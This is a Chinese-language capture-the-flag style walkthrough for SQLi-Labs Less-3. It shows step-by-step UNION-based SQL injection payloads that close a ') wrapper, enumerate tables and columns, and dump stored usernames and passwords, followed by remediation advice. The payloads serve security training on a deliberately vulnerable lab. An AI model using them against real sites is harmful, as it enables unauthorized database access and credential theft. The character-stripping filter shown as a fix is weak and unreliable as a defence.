SQLi-Labs Less-3 通关教程(单引号+括号字符型GET注入)
一、关卡核心信息
| 项目 | 详情 |
|---|---|
| 漏洞类型 | GET型单引号+括号字符型SQL注入(Less-1的进阶版) |
| 核心特征 | 后端SQL语句中,id参数被('')包裹(即id=('1')),需同时闭合单引号和括号 |
| 前置条件 | 已搭建SQLi-Labs靶场并完成数据库初始化 |
| 工具准备 | 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证) |
| 通关目标 | 掌握带括号的字符型注入闭合方式,完成数据库敏感信息窃取,理解不同闭合格式的适配逻辑 |
二、核心原理
Less-3 与 Less-1 的核心差异在于参数包裹格式:
- Less-1(单引号):
SELECT * FROM users WHERE id='1' LIMIT 0,1; - Less-3(单引号+括号):
SELECT * FROM users WHERE id=('1') LIMIT 0,1;
此类注入需先通过报错判断闭合格式,再构造')完成闭合,否则SQL语句会因语法错误无法执行,这是真实场景中最常见的字符型注入变体之一。
三、通关步骤
步骤1:判断注入类型与闭合方式(核心)
-
正常访问基准页 :
访问地址:
http://[靶场IP]/sqli-labs/Less-3/?id=1回显结果:页面正常显示
Your Login name:Dumb、Your Password:Dumb,确认id=1查询有效。 -
测试基础闭合(单引号) :
输入Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=1'回显结果:出现MySQL语法错误,关键提示为
near ''1'') LIMIT 0,1' at line 1。分析报错:
'1'')说明后端拼接后是id=('1''),即原语句为id=('参数'),需用')闭合单引号+括号。 -
验证闭合有效性 :
输入Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=1') --+说明:
')闭合id=('1')中的单引号和括号,--+注释后续多余字符(浏览器自动转+为空格)。回显结果:页面恢复正常,验证闭合方式为
')。
步骤2:确定查询字段数(ORDER BY 法)
- 输入Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=1') order by 3 --+
回显:页面正常,说明字段数≥3。 - 输入Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=1') order by 4 --+
回显:出现Unknown column '4' in 'order clause'报错。 - 结论:原查询语句的字段数为3。
步骤3:定位回显位置(UNION 联合查询)
- 构造Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+
关键说明:id=-1:让原查询无结果,强制显示联合查询内容;'):闭合原语句的('')格式;union select 1,2,3:匹配3个字段数,测试回显位置。
- 回显结果:页面显示
2和3,确认第2、3字段为可回显位置。
步骤4:逐层获取数据库敏感信息
(1)查询当前数据库名与数据库用户
- Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=-1') union select 1,database(),user() --+ - 回显结果:
database()显示security,user()显示root@localhost。
(2)查询security数据库下的所有表名
- Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ - 回显结果:显示
emails、referers、uagents、users,核心目标表为users。
(3)查询users表的所有字段名
- Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ - 回显结果:显示
id、username、password。
(4)查询users表中的账号密码
- Payload:
http://[靶场IP]/sqli-labs/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users --+ - 回显结果:显示所有用户凭证(如
admin:admin、test:test),完成敏感数据窃取。
步骤5:Burp Suite Repeater 适配操作(避坑重点)
Repeater 中+不会自动转空格,需替换为%20(URL编码空格),正确Payload示例:
GET /sqli-labs/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users --%20 HTTP/1.1
或简化为%23(URL编码#):
GET /sqli-labs/Less-3/?id=-1') union select 1,group_concat(username,':',password),3 from security.users %23 HTTP/1.1
四、常见错误与排错
| 错误Payload | 报错原因 | 修正方案 |
|---|---|---|
id=1' --+ |
仅闭合单引号,未闭合括号,语法错误 | 改为id=1') --+ |
id=-1' union select 1,2,3 --+ |
闭合格式错误,原语句为id=('1') |
改为id=-1') union select 1,2,3 --+ |
Repeater中--+ |
+未编码,注释失效 |
替换为--%20或%23 |
五、漏洞修复方案
Less-3 漏洞本质是后端未过滤特殊字符(单引号、括号),直接拼接SQL语句,修复方案:
-
输入过滤 :过滤单引号、括号、注释符等特殊字符,示例(PHP):
php$id = str_replace(["'", "(", ")"], "", $_GET['id']); -
预编译语句(推荐) :使用PDO/MySQLi预编译,彻底避免拼接,示例:
php$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1"); $stmt->execute([$id]); -
格式校验:强制校验参数格式,仅允许数字,拒绝特殊字符。
六、图文并茂实训标注建议
| 截图序号 | 截图内容 | 核心标注 |
|---|---|---|
| 1 | 正常访问id=1的页面 |
标注"基准页,原语句格式为id=('1')" |
| 2 | id=1'的报错页面 |
标注"报错关键:'1'') → 闭合格式为')" |
| 3 | id=1') --+的正常页面 |
标注"闭合验证成功,单引号+括号均闭合" |
| 4 | 联合查询显示表名的页面 | 标注"回显位置:第2字段显示表名" |
| 5 | 获取账号密码的最终页面 | 标注"核心成果:users表敏感数据泄露" |
七、通关总结
Less-3 核心考点是带括号的字符型注入闭合逻辑,通关关键在于:
- 从报错信息中分析参数的包裹格式(
('')); - 用
')完成"单引号+括号"的双重闭合; - 后续联合查询逻辑与Less-1/2一致,仅闭合格式不同。
此类带括号的字符型注入在真实场景中极为常见(如开发者为规范SQL格式添加括号),掌握"从报错反推闭合格式"的思路,是突破各类字符型注入的核心能力。
核心口诀
"先看报错找格式,括号单引都闭合,字段数用order by,联合查询拿数据"。